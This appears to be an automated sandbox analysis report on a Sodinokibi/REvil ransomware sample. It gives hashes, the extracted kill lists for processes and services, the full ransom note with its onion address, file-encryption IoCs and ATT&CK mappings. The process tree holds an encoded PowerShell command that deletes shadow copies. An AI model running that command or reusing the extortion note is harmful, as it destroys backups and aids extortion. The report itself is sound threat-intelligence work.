sodinokibi | 78b592a2710d81fa91235b445f674ee804db39c8cc34f7e894b4e7b7f6eacaff

Analysis

max time kernel
61s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
22/04/2023, 15:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Revil.bin.exe
Size 119KB
Sample230422-sx2bdshb91
SHA256 78b592a2710d81fa91235b445f674ee804db39c8cc34f7e894b4e7b7f6eacaff
MD5 fa8117afd2dbd20513522f2f8e991262
SHA1 f7b876edb8fc0c83fd8b665d3c5a1050d4396302
SHA512 2bab344d136b31cd7c55b7cd0ef1b7718c9952573f3b1478a2efb8211563d7dedacefd4764a7186e15f7de93cc43fa29fc4d2fa61961a14bb12d7bea830e5032
SSDEEP 3072:KW5yc3Y4SMQwuOekD96R928AN+/uSxo+HHz/bs/k4OS:K83Y5BAxa92KrxTnz/Y/k4O
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

sodinokibi $2b$13$wz1rerfdlg.aistldqg5jeqqysemspatwkhdwbpwvrc3ty7akscg6 49 ransomware

Malware Config

Extracted

Family

sodinokibi

Botnet

$2b$13$wz1reRfdLg.aiStLDqg5JeqqySemSPatWKHdwbpWVrC3ty7Akscg6

Campaign

Attributes

net
false
pid
$2b$13$wz1reRfdLg.aiStLDqg5JeqqySemSPatWKHdwbpWVrC3ty7Akscg6
prc
vsnapvss

EnterpriseClient

firefox

infopath

cvd

tv_x64.exe

VeeamTransportSvc

steam

encsvc

mydesktopservice

outlook

synctime

ocssd

SAP

cvfwd

bengien

vxmon

bedbh

ocomm

ocautoupds

raw_agent_svc

oracle

disk+work

powerpnt

saposcol

sqbcoreservice

sapstartsrv

beserver

saphostexec

dbeng50

isqlplussvc

CVODS

DellSystemDetect

CVMountd

TeamViewer.exe

dbsnmp

thunderbird

mspub

wordpad

visio

benetns

QBCFMonitorService

TeamViewer_Service.exe

tv_w32.exe

QBIDPService

winword

thebat

VeeamDeploymentSvc

avagent

QBDBMgrN

mydesktopqos

xfssvccon

sql

tbirdconfig

CagService

pvlsvr

avscc

VeeamNFSSvc

onenote

excel

msaccess

agntsvc
ransom_oneliner
All of your files are encrypted! Find EDGEWATER-README.txt and follow instuctions
ransom_template
---=== Welcome. Again. ===--- [+] What's Happened? [+] Your files have been encrypted and currently unavailable. You can check it. All files in your system have {EXT} extension. By the way, everything is possible to recover (restore) but you should follow our instructions. Otherwise you can NEVER return your data. [+] What are our guarantees? [+] It's just a business and we care only about getting benefits. If we don't meet our obligations, nobody will deal with us. It doesn't hold our interest. So you can check the ability to restore your files. For this purpose you should visit our website where you can decrypt one file for free. That is our guarantee. It doesn't metter for us whether you cooperate with us or not. But if you don't, you'll lose your time and data cause only we have the private key to decrypt your files. In practice - time is much more valuable than money. [+] How to get access to our website? [+] Use TOR browser: 1. Download and install TOR browser from this site: https://torproject.org/ 2. Visit our website: http://4to43yp4mng2gdc3jgnep5bt7lkhqvjqiritbv4x2ebj3qun7wz4y2id.onion When you visit our website, put the following data into the input form: Key: {KEY} !!! DANGER !!! DON'T try to change files by yourself, DON'T use any third party software or antivirus solutions to restore your data - it may entail the private key damage and as a result all your data loss! !!! !!! !!! ONE MORE TIME: It's in your best interests to get your files back. From our side we (the best specialists in this sphere) ready to make everything for restoring but please do not interfere. !!! !!! !!
sub
49
svc
QBCFMonitorService

thebat

dbeng50

winword

dbsnmp

VeeamTransportSvc

disk+work

TeamViewer_Service.exe

firefox

QBIDPService

steam

onenote

CVMountd

cvd

VeeamDeploymentSvc

VeeamNFSSvc

bedbh

mydesktopqos

avscc

infopath

cvfwd

excel

beserver

powerpnt

mspub

synctime

QBDBMgrN

tv_w32.exe

EnterpriseClient

msaccess

ocssd

mydesktopservice

sqbcoreservice

CVODS

DellSystemDetect

oracle

ocautoupds

wordpad

visio

SAP

bengien

TeamViewer.exe

agntsvc

CagService

avagent

ocomm

outlook

saposcol

xfssvccon

isqlplussvc

pvlsvr

sql

tbirdconfig

vxmon

benetns

tv_x64.exe

encsvc

sapstartsrv

vsnapvss

raw_agent_svc

thunderbird

saphostexec

Extracted

Path

C:\Recovery\EDGEWATER-README.txt

Ransom Note

---=== Welcome. Again. ===--- [+] What's Happened? [+] Your files have been encrypted and currently unavailable. You can check it. All files in your system have ddau5 extension. By the way, everything is possible to recover (restore) but you should follow our instructions. Otherwise you can NEVER return your data. [+] What are our guarantees? [+] It's just a business and we care only about getting benefits. If we don't meet our obligations, nobody will deal with us. It doesn't hold our interest. So you can check the ability to restore your files. For this purpose you should visit our website where you can decrypt one file for free. That is our guarantee. It doesn't metter for us whether you cooperate with us or not. But if you don't, you'll lose your time and data cause only we have the private key to decrypt your files. In practice - time is much more valuable than money. [+] How to get access to our website? [+] Use TOR browser: 1. Download and install TOR browser from this site: https://torproject.org/ 2. Visit our website: http://4to43yp4mng2gdc3jgnep5bt7lkhqvjqiritbv4x2ebj3qun7wz4y2id.onion When you visit our website, put the following data into the input form: Key: l09A15tsQrOrFtbiTPcMm6T0Vw0Ct5TOkESigWZF50YD3TXQhjrG7ChoM5PMIqzT O4ls632qKqX5JziMHvx9AbgDLYdEKXcax4n8/vNvfqz4i8m49qWq/He8TJvfwpPw tLwmgKyqN/BlGOoQsPDEEfYHjbOt6aq7CFOw0l33sX+Mx+l8YRkiKHR/cPV/QAh1 EcIpeuAaotQQwlfyw8dV0bC9YGmZ6m82WiQ+phC/NyTibvD+t6wYLkhIuL7oumfO wHzLdOLFyexcjO5lLL6i3friMSaAaHlkQziFhZlJhmAyAsKIezbc3MuYJC0PFTeQ 75+Nm2iLx1hZJ1BfTaacSUwbMqh1jyuWV98GDwjGNJI5DbeljG3vcO64ohYiIF18 DC4ECdjwwyV8JZDAicSSnat3ZoEEgUMjKuu8ZN6KKIVyYJsZh9cbMRA7rUbyeboU ZAVG5Nk+p++iQqXF4nYOUADuly79aJa34Yu0g23TPAQ7kNy51ANbY3PnzVj8bzuI c4HEWdQN5vrOwkxJ+7TNREeBPOXBFPeiLyGUGJuHcJLTbaupb+HqBRV9YDiwssuq n8NIEPIxu0ZP5/f0L5ANqDK6Z4i5NMm9q7DyUt+X8BMdC6W22P6BYErm+zjVF/sL Hp2sWAzH5g5jK0ETJRoy5IJYJLXOFbELexsX0fjG46HOZ7SizvtOp0oz0tmEkJ3S iamaQL/NlqaHH94brFPirJi+2R3tBKG07XCgG2731HNuxySMKIYft/EiX8C8kqBR bOAMCafJG1rr6jUN0BnWFWPOvgTWO4XETNi4LeetiYqLUezxyoIY7+hsk45eDyCJ CwvDq+2+YP35WcpBYYYeaLoEKBo4duwKOtre0IMkq7L7frv+LDdDypA9m63gcXvl docaKXuZf9C53KuRufGS0fs9ihudqM0fgEh3/W7dbx8VGCZr/0c0MXu1kj/1FDcV iOVDUQGXyL9d65aRgSi9cR6+iHx1c0biebFHePTQKLq0iU5JL0zrWDOfx5izf0lz u+6PRZmxk53TpM+A2Ov5CtSQZBzhsDQ5HRovD7OHALOgctis+tNm9RzCPTSREhg/ J4ZS/k+y4iU5RRVjBrJtyHCT4NZIrTEF90aXAate2+bhnbADw+3T8A4FeLFqQQkU Umz3uMRf8Ix3wuhC9jCfh94US/KR4GFYoOUfgX489nPOCZDYl+HhEMoD30t137dM EqZMYRWdulnug/LxsVvMFqwAV/eOdVWBXU4aDurXNMD7pU+EAtRCg9XEA9xWBmBj 6eALQZJd3V32diLOv2EYmLSVzQZKnpw7 !!! DANGER !!! DON'T try to change files by yourself, DON'T use any third party software or antivirus solutions to restore your data - it may entail the private key damage and as a result all your data loss! !!! !!! !!! ONE MORE TIME: It's in your best interests to get your files back. From our side we (the best specialists in this sphere) ready to make everything for restoring but please do not interfere. !!! !!! !!

URLs

http://4to43yp4mng2gdc3jgnep5bt7lkhqvjqiritbv4x2ebj3qun7wz4y2id.onion

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Modifies extensions of user files 6 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\UninstallComplete.tif => \??\c:\users\admin\pictures\UninstallComplete.tif.ddau5	Revil.bin.exe
File renamed	C:\Users\Admin\Pictures\WatchRequest.tif => \??\c:\users\admin\pictures\WatchRequest.tif.ddau5	Revil.bin.exe
File opened for modification	\??\c:\users\admin\pictures\InitializeProtect.tiff	Revil.bin.exe
File renamed	C:\Users\Admin\Pictures\ExitRename.tif => \??\c:\users\admin\pictures\ExitRename.tif.ddau5	Revil.bin.exe
File renamed	C:\Users\Admin\Pictures\InitializeProtect.tiff => \??\c:\users\admin\pictures\InitializeProtect.tiff.ddau5	Revil.bin.exe
File renamed	C:\Users\Admin\Pictures\PublishAdd.tif => \??\c:\users\admin\pictures\PublishAdd.tif.ddau5	Revil.bin.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	Revil.bin.exe
File opened (read-only)	\??\N:	Revil.bin.exe
File opened (read-only)	\??\P:	Revil.bin.exe
File opened (read-only)	\??\G:	Revil.bin.exe
File opened (read-only)	\??\L:	Revil.bin.exe
File opened (read-only)	\??\Q:	Revil.bin.exe
File opened (read-only)	\??\S:	Revil.bin.exe
File opened (read-only)	\??\W:	Revil.bin.exe
File opened (read-only)	\??\D:	Revil.bin.exe
File opened (read-only)	\??\U:	Revil.bin.exe
File opened (read-only)	\??\A:	Revil.bin.exe
File opened (read-only)	\??\H:	Revil.bin.exe
File opened (read-only)	\??\J:	Revil.bin.exe
File opened (read-only)	\??\K:	Revil.bin.exe
File opened (read-only)	\??\M:	Revil.bin.exe
File opened (read-only)	\??\O:	Revil.bin.exe
File opened (read-only)	\??\T:	Revil.bin.exe
File opened (read-only)	\??\V:	Revil.bin.exe
File opened (read-only)	\??\Z:	Revil.bin.exe
File opened (read-only)	\??\B:	Revil.bin.exe
File opened (read-only)	\??\E:	Revil.bin.exe
File opened (read-only)	\??\I:	Revil.bin.exe
File opened (read-only)	\??\R:	Revil.bin.exe
File opened (read-only)	\??\X:	Revil.bin.exe
File opened (read-only)	\??\Y:	Revil.bin.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\u332621.bmp"	Revil.bin.exe

Drops file in Program Files directory 35 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\FindUnpublish.ppsx	Revil.bin.exe
File opened for modification	\??\c:\program files\GrantSplit.ogg	Revil.bin.exe
File opened for modification	\??\c:\program files\ImportRead.eprtx	Revil.bin.exe
File opened for modification	\??\c:\program files\ResetGrant.tmp	Revil.bin.exe
File opened for modification	\??\c:\program files\SplitRestart.rle	Revil.bin.exe
File opened for modification	\??\c:\program files\TestInstall.mpeg	Revil.bin.exe
File opened for modification	\??\c:\program files\ResetBackup.mpeg	Revil.bin.exe
File opened for modification	\??\c:\program files\SyncDeny.mp2v	Revil.bin.exe
File opened for modification	\??\c:\program files\UnblockUndo.mht	Revil.bin.exe
File opened for modification	\??\c:\program files\UnregisterFormat.snd	Revil.bin.exe
File created	\??\c:\program files\EDGEWATER-README.txt	Revil.bin.exe
File opened for modification	\??\c:\program files\ConfirmRepair.ttf	Revil.bin.exe
File opened for modification	\??\c:\program files\MeasureBackup.ppsx	Revil.bin.exe
File opened for modification	\??\c:\program files\TraceRestore.xps	Revil.bin.exe
File opened for modification	\??\c:\program files\CopyDisable.eprtx	Revil.bin.exe
File opened for modification	\??\c:\program files\InstallUninstall.wdp	Revil.bin.exe
File opened for modification	\??\c:\program files\BlockDisconnect.cfg	Revil.bin.exe
File opened for modification	\??\c:\program files\ClearGroup.nfo	Revil.bin.exe
File opened for modification	\??\c:\program files\ResumeSkip.iso	Revil.bin.exe
File opened for modification	\??\c:\program files\UnblockConfirm.xls	Revil.bin.exe
File opened for modification	\??\c:\program files\DisableWatch.wmf	Revil.bin.exe
File opened for modification	\??\c:\program files\EnablePublish.php	Revil.bin.exe
File opened for modification	\??\c:\program files\LockOpen.bmp	Revil.bin.exe
File opened for modification	\??\c:\program files\MountRestart.TS	Revil.bin.exe
File opened for modification	\??\c:\program files\RemoveRead.mhtml	Revil.bin.exe
File opened for modification	\??\c:\program files\ResetMeasure.wmv	Revil.bin.exe
File opened for modification	\??\c:\program files\UnprotectLock.zip	Revil.bin.exe
File opened for modification	\??\c:\program files\DenyPop.asx	Revil.bin.exe
File opened for modification	\??\c:\program files\SkipShow.wvx	Revil.bin.exe
File opened for modification	\??\c:\program files\SubmitReset.fon	Revil.bin.exe
File opened for modification	\??\c:\program files\TestRestart.pptm	Revil.bin.exe
File created	\??\c:\program files (x86)\EDGEWATER-README.txt	Revil.bin.exe
File opened for modification	\??\c:\program files\LockUndo.au3	Revil.bin.exe
File opened for modification	\??\c:\program files\RevokeReceive.aifc	Revil.bin.exe
File opened for modification	\??\c:\program files\WriteAdd.mht	Revil.bin.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2176	Revil.bin.exe
2176	Revil.bin.exe
4740	powershell.exe
4740	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2176	Revil.bin.exe
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeBackupPrivilege	3816	vssvc.exe
Token: SeRestorePrivilege	3816	vssvc.exe
Token: SeAuditPrivilege	3816	vssvc.exe
Token: SeTakeOwnershipPrivilege	2176	Revil.bin.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2176 wrote to memory of 4740	2176	Revil.bin.exe	85
PID 2176 wrote to memory of 4740	2176	Revil.bin.exe	85

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe
"C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe"
1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4740

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3464

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3816

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

EDGEWATER-README.txt

Path C:\Recovery\EDGEWATER-README.txt
Size 5KB
SHA256 1af804efe2bd6fbebc64c61dc3509bfe2e420a2bf47258b62cb8ed18eab1077c
MD5 a534f1fd8fa84932d81fecdd6671aa89
SHA1 d2fe61f6cd506708868b793f62acee17834e9773
SHA512 480f7d0a3a5b69418f015ce57a747ce3db594126c8ab9f9cc2100272db286528e4d1bfa5b5108fa927f62e152b2159988c68e1d32636093aa5aa907bad9613f4
SSDEEP 96:Y//RjWroNXhW8mvaGBFvyvWsz+H1HhADA5FVys2iRXuQIOTfyftz7orydA2cFd:Y//RjHS1WDAhFR+QTyft3w
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_qfvgans4.5q5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qfvgans4.5q5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/2176-133-0x0000000001100000-0x0000000001120000-memory.dmp

Download

memory/2176-134-0x0000000001100000-0x0000000001120000-memory.dmp

Download

memory/2176-150-0x0000000001100000-0x0000000001120000-memory.dmp

Download

memory/2176-283-0x0000000001100000-0x0000000001120000-memory.dmp

Download

memory/2176-581-0x0000000001100000-0x0000000001120000-memory.dmp

Download

memory/2176-590-0x0000000001100000-0x0000000001120000-memory.dmp

Download

memory/4740-135-0x00000207F9190000-0x00000207F91B2000-memory.dmp

Download

memory/4740-145-0x00000207F6590000-0x00000207F65A0000-memory.dmp

Download

memory/4740-146-0x00000207F6590000-0x00000207F65A0000-memory.dmp

Download

memory/4740-147-0x00000207F6590000-0x00000207F65A0000-memory.dmp

Download